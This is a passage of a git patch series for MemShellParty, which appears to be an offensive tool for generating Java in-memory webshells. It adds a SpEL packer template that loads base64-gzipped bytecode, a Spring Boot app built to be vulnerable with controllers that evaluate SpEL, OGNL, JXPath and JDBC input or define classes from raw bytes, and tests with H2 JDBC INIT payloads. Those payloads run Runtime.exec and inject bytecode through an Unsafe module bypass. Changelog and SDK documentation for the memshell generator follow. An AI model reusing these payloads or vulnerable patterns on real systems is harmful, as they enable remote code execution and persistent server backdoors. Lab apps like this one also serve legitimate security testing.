SpELSpringGzipJDK17Packer implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; @Override public String pack(ClassPackerConfig config) { diff --git a/settings.gradle.kts b/settings.gradle.kts index 585af9ed..b7dc9a8d 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -43,6 +43,7 @@ include("vul:vul-springboot2") include("vul:vul-springboot2-jetty") include("vul:vul-springboot2-undertow") include("vul:vul-springboot3") +include("vul:vul-springboot359") include("vul:vul-springboot2-webflux") include("vul:vul-springboot3-webflux") include("vul:vul-playframework") diff --git a/vul/vul-springboot359/Dockerfile b/vul/vul-springboot359/Dockerfile new file mode 100644 index 00000000..3e9b079b --- /dev/null +++ b/vul/vul-springboot359/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:17.0.17_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot3.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot359/build.gradle.kts b/vul/vul-springboot359/build.gradle.kts new file mode 100644 index 00000000..23166369 --- /dev/null +++ b/vul/vul-springboot359/build.gradle.kts @@ -0,0 +1,29 @@ +plugins { + id("java") + id("war") + id("org.springframework.boot") version "3.5.9" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-web") + providedRuntime("org.springframework.boot:spring-boot-starter-tomcat") + testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") + implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") + implementation("commons-beanutils:commons-beanutils:1.9.3") +} + +tasks.test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java new file mode 100644 index 00000000..d52ed2ef --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vul.springboot3; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java new file mode 100644 index 00000000..4c06ba9e --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.vul.springboot3; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot3Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot3Application.class, args); + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..96e19600 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import com.reajason.javaweb.vul.springboot3.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = ClassDefiner.defineClass(bytes).newInstance(); + return o.toString(); + } +} \ No newline at end of file diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..2bbdaca2 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java new file mode 100644 index 00000000..1df49d6d --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java new file mode 100644 index 00000000..89e172b3 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java new file mode 100644 index 00000000..3e2e6f00 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.apache.commons.jxpath.JXPathContext; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/jxpath") +public class JXPathController { + @PostMapping + protected Object doPost(String data) { + JXPathContext context = JXPathContext.newContext(null); + return context.getValue(data); + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java new file mode 100644 index 00000000..f3f0fe81 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/ognl") +public class OgnlController { + @RequestMapping + protected Object doPost(String data) { + OgnlContext context = new OgnlContext(); + try { + return Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java new file mode 100644 index 00000000..a5e30252 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + /** + * 10000 长度限制,无法使用 + */ + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot359/src/main/resources/application.properties b/vul/vul-springboot359/src/main/resources/application.properties new file mode 100644 index 00000000..a83ba03e --- /dev/null +++ b/vul/vul-springboot359/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot3 diff --git a/vul/vul-springboot359/src/test/java/CommandExec.java b/vul/vul-springboot359/src/test/java/CommandExec.java new file mode 100644 index 00000000..c708f1b2 --- /dev/null +++ b/vul/vul-springboot359/src/test/java/CommandExec.java @@ -0,0 +1,15 @@ +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + java.lang.Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot359/src/test/java/JDBCTest.java b/vul/vul-springboot359/src/test/java/JDBCTest.java new file mode 100644 index 00000000..02eb7ae2 --- /dev/null +++ b/vul/vul-springboot359/src/test/java/JDBCTest.java @@ -0,0 +1,54 @@ +import com.reajason.javaweb.vul.springboot3.controller.JDBCController; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class JDBCTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String funcionName = "testJDBC"; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" + + "String shellexec(String abc) throws java.lang.Exception{" + + "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" + + "return \"test\"\\;" + + "}'\\;" + + "CALL " + funcionName + "('123')"; + jdbcController.JDBC(str); + } + + @Test + void testJDBC2() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw=="; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + System.out.println(str); + jdbcController.JDBC(str); + } +} From bd905c2b9dfd1945e683fa55fd4aee490c9f00e1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 21:48:34 +0800 Subject: [PATCH 8/9] docs: update --- web/content/docs/changelog.mdx | 14 ++++++++++++++ web/content/docs/compatibility.mdx | 16 ++++++++-------- web/content/docs/sdk.mdx | 27 +++++++++++++++++++++++++++ web/content/docs/server-intro.mdx | 6 ++++++ 4 files changed, 55 insertions(+), 8 deletions(-) diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index bfea7f4e..bb87c87c 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,20 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.7.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.1) - 2026-05-24 + +### Fixed + +1. 修复 SpELSpringGzipJDK17 高版本 org.springframework.util.Base64Utils 类被删除导致无法使用 +2. 修复 TongWeb 7.0.4.9、BES 11.0.0 回显失效 +3. 修复命名错误 struct2 -> struts2 + +### Changed + +1. 依赖更新、文档更新 + +**Full Changelog:** [v2.7.0...v2.7.1](https://github.com/ReaJason/MemShellParty/compare/v2.7.0...v2.7.1) + ## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26 ### Added diff --git a/web/content/docs/compatibility.mdx b/web/content/docs/compatibility.mdx index 029607ee..ea2c04cd 100644 --- a/web/content/docs/compatibility.mdx +++ b/web/content/docs/compatibility.mdx @@ -41,7 +41,7 @@ icon: Album | Listener | Listener | | FilterManager - Agent | ServletContext - Agent | -| [BES (9.5.x)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) | +| [BES (9.5.x ~ 11.0.0)](/docs/server-intro#bes) | [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) | | ------------------------------------- | ---------------------------------------------- | ------------------------------------------------------- | | Filter | Filter | Filter | | Listener | Listener | Listener | @@ -49,13 +49,13 @@ icon: Album | FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | -| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) | -| ----------------------------------------------- | --------------------------------------------- | -| Servlet | Filter | -| Filter | Listener | -| Listener | Valve | -| FilterChain - Agent | FilterChain - Agent | -| | ContextValve - Agent | +| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton) | [Dubbo Provider](/docs/server-intro#dubbo) | +| ----------------------------------------------- | --------------------------------------------- | --------------------------------------------- | +| Servlet | Filter | DubboService | +| Filter | Listener | | +| Listener | Valve | | +| FilterChain - Agent | FilterChain - Agent | | +| | ContextValve - Agent | | ### 内存马功能 diff --git a/web/content/docs/sdk.mdx b/web/content/docs/sdk.mdx index 59eb2ea0..633a962f 100644 --- a/web/content/docs/sdk.mdx +++ b/web/content/docs/sdk.mdx @@ -10,6 +10,8 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs"; ### 添加依赖 +1. 如果仅需要生成内存马 Base64 格式,仅添加 generator 模块即可 + ```xml @@ -23,6 +25,31 @@ import { Tab, Tabs } from "fumadocs-ui/components/tabs"; ```groovy implementation 'io.github.reajason:generator:2.2.0' ``` +2. 如果需要使用自带的丰富打包方式,需要额外添加 packer 模块 + + + + ```xml + + io.github.reajason + generator + 2.2.0 + + + io.github.reajason + packer + 2.2.0 + + ``` + + + ```groovy + implementation 'io.github.reajason:generator:2.2.0' + implementation 'io.github.reajason:packer:2.2.0' + ``` + + + ### 生成 Tomcat Godzilla Filter 内存马示例 ```java diff --git a/web/content/docs/server-intro.mdx b/web/content/docs/server-intro.mdx index 8f675495..f54be296 100644 --- a/web/content/docs/server-intro.mdx +++ b/web/content/docs/server-intro.mdx @@ -365,3 +365,9 @@ SpringWebFlux 进行内存马生成。 XXL-JOB 是一个分布式任务调度平台,由于 executor 出现过反序列化漏洞,并且弱密码情况下可在 admin 前台下发任务,在 executor 执行任意代码,因此在 MemShellParty 中也提供了 XXL-JOB 内存马的生成,服务类型选择 XXL-JOB 进行内存马生成。 executor 仅支持 Netty Handler 内存马注入。 + +## Dubbo + +> 官网:https://dubbo.apache.org/en/ + +Dubbo 分为低版本 2.6x Alibaba Dubbo,包名为 `com.alibaba.dubbo.`,后来合并到 Apache 改为了 Apache Dubbo 2.7x 版本和 3.x 版本,包名为 `org.apache.dubbo.`,当前 Dubbo 内存马只针对 Dubbo Provider,对于 Dubbo Consumer 来说直接打对应的内存马即可比如 Spring 框架马。 From 20c1358029cf91b7400760699f3dcb48589c0238 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 22:14:37 +0800 Subject: [PATCH 9/9] test: fix failed case --- .../integration/probe/websphere/OpenLiberty25ContainerTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java index 291b8084..4a66f8ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java @@ -18,7 +18,7 @@ public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest { private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9") - .expectedJdkVersion("JRE|17.0.18|61") + .expectedJdkVersion("JRE|17.0.19|61") .targetJdkVersion(Opcodes.V1_8) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .privilegedMode(true)